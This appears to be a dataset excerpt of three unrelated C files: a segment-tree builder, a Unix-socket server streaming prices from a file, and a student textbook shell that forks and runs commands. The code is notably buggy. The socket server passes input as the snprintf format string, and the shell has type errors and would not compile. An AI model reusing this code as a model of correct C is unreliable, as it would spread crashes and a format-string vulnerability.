int constructUtil(int arr[],int ss,int se,int *st,int si){
if(ss==se){
st[si]=arr[ss];
return arr[ss];
}
int mid = getMid(ss,se);
st[si]=constructUtil(arr,ss,mid,st,2*si+1)+constructUtil(arr,mid+1,se,st,2*si+2);
return st[si];
}
int *construct(int arr[],int n){
int x = (int)ceil(log2(n));
//double pow = pow(2.0,x);
int max_size = 2*(int)pow(2,x)-1;
int* st = (int*)malloc(sizeof(int)*max_size);
constructUtil(arr,0,n-1,st,0);
/*
* for(int i=0;i<max_size;i++)
printf("%d ".st[i]);
printf("\n");
*/
return st;
}
int main()
{
int n;
scanf("%d",&n);
int a[n];
for(int i=0;i<n;i++)
scanf("%d",&a[i]);
int *st = construct(a,n);
printf("%d\n",getSum(st,0,n-1,2,4,0));
updateValue(a,st,n,2,10);
printf("%d\n",getSum(st,0,n-1,1,3,0));
return 0;
}
|
the_stack_data/280609.c | // gcc -Wall -pedantic -std=gnu99 -Og -o main main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#define SOCKET_NAME "/tmp/9Lq7BNBnBycd6nxy.socket"
int main(int argc, char *argv[]) {
FILE * fp;
char * line = NULL;
size_t len = 0;
ssize_t readf;
fp = fopen("gen_prices.txt", "r");
if (fp == NULL)
exit(EXIT_FAILURE);
int sock = 0, connfd = 0;
char sendBuff[1025];
char recvBuff[1025];
memset(sendBuff, '0', sizeof(sendBuff));
/*
* In case the program exited inadvertently on the last run,
* remove the socket.
*/
unlink(SOCKET_NAME);
sock = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un name;
memset(&name, 0, sizeof(struct sockaddr_un));
name.sun_family = AF_UNIX;
strncpy(name.sun_path, SOCKET_NAME, sizeof(name.sun_path) - 1);
bind(sock, (const struct sockaddr *) &name, sizeof(struct sockaddr_un));
/* Prepare for accepting connections. */
listen(sock, 20);
connfd = accept(sock, (struct sockaddr*)NULL, NULL);
while(1) {
while ((readf = getline(&line, &len, fp)) != -1) {
printf("Enviando valor: %f \n", atof(line));
// write
snprintf(sendBuff, sizeof(sendBuff), line);
write(connfd, sendBuff, strlen(sendBuff));
// read and print
int n = 0;
if ((n = read(connfd, recvBuff, sizeof(recvBuff)-1)) > 0) {
recvBuff[n] = 0;
printf("Ordem Recebida: ");
fputs(recvBuff, stdout);
}
}
fclose(fp);
if (line)
free(line);
exit(EXIT_SUCCESS);
}
close(connfd);
} |
the_stack_data/466431.c | /**
* Simple shell interface program.
*
* Operating System Concepts - Ninth Edition
* Copyright John Wiley & Sons - 2013
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define MAX_LINE 80 /* 80 chars per line, per command */
//Priority Queue Used in History Feature
//defining the structure that I am going to be using in my priorityQueue aray
// typedef struct{
// // int id; //this is a unique integer id
// char *args[MAX_LINE/2 + 1] //array that holds the tokenized elements that will be stored in history
// int priority; // this is the prioirty value
// }element;
// void insertPriorityQueueElement(element priorityQueue[], int id, int priorityValue, int arraySize){
// //check children
// //size in bites divided by the size of each indivudal element, it is in byteps, but will tell you the correct zise of elemetns becuase you are dividing by the size of one structure
// for (int i = 0; i < arraySize; i++){
// //goes down array untill the priority value finds the first priorty value that is is biggern then
// if (priorityValue >= priorityQueue[i].priority)
// {
// //shift all elements equal to or bellow the new element in the prioirty queue up the array by one
// for (int j = arraySize;j>i;j--)
// {
// priorityQueue[j] = priorityQueue[j-1];
// }
// //set the function values to that locatoin
// priorityQueue[i].priority = priorityValue;
// priorityQueue[i].id = id;
// return;
// }
// }
// }
// // this method prints out the content of each element at every index in the array
// void printPriorityQueueElementInArray(element priorityQueue[], int elementCount){
// int i = 0;
// if (elementCount == -1){
// printf("\nNo Elements to print");
// printf("\n");
// }
// else{
// printf("\nElements in the priority queue printed in order of highest prioirty");
// printf("\n");
// for (i = 0; i <= elementCount; i++){
// printf("\n");
// printf("Id : ");
// printf("%d", priorityQueue[i].id);
// printf("\n");
// printf("Priority: ");
// printf("%d", priorityQueue[i].priority);
// printf("\n");
// }
// }
// }
int main(void)
{
//char *my_string;
size_t size;
char *args[MAX_LINE/2 + 1]; /* command line (of 80) has max of 40 arguments */
int should_run = 1;
int i, upper;
while (should_run)
{
//reading the imput string
printf("[email protected]>");
fflush(stdout);
char *line [MAX_LINE] ; //this is where the string is intilized and has a pointer set to it with MAX_LINE Indexes
size_t;
getline(line,&size,stdin);
//printf("%s", *line);
//replace last element in array with null
// int size;
// size = strlen(*line) -1;
// printf("%s",*line);
//cannot reach this element, not doing what is desired
//line[size] = NULL;
// remove the elemettn before the \0 in your array, which is a create new line aka \n
//removes it by decreaseing string by 1 \0 is always included by the c compiler
char *foo = *line;
foo[strlen(foo) - 1] = 0;
//what does foo get used
//line[strlen(line) - 1] = 0;
//char *foo = asctime();
//foo[strlen(foo) - 1] = 0;
//character in your string in c, which is an array
// list[2][4];
//get rid of /n
//check for exit
char exit[] = "exit";
if(strcmp(exit,*line) == 0)
{
return;
}
//tokenization
//page 118
//line is the string that has been imputd
//args is the array that tokenized line is put into
int i = 0;
//char *token;
for (i ; i <= MAX_LINE ; i++)
{
args[i] = strsep(line, " " ); //question???? //strsep expects a char** as its first parameter
//speeds up the checking of the array
if(args[i] == NULL){
break;
}
}
// printf("array [0]");printf("%s", args[0]);
// printf("array [1]");printf("%s", args[1]);
// printf("array [2]");printf("%s", args[2]);
// printf("array [3]");printf("%s", args[3]);
// printf("array [4]");printf("%s", args[4]);
// \n
//printf("%s", args[3]);
//print a test array in c
// char test1[20] = "Hello World";
// printf("%s\n",test1);
//checking for the & and waiting
//history function, use your prioirty queue
//forking
//pid_t is data type is a signed integer type which is capable of representing a process ID
pid_t pid;
/*fork creates a child process*/
pid = fork();
if(pid<0){ /* error occurred */
fprintf(stderr, "Fork Failed");
return 1;
}
//printf("%d", pid);
if (pid == 0){
//child process
//execvp gets all the unix comands to fun in the shell
int p = execvp(args[0], args);
//printf("%d\n", p );
}
else{
/* parent process*/
/*parent will wait for the child to complete */
wait(NULL);
// printf("Child Complete\n");
}
}
return 0;
}
// if their is an & then chekck boolean after the fork, and you have to remove it from the arguments then try
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.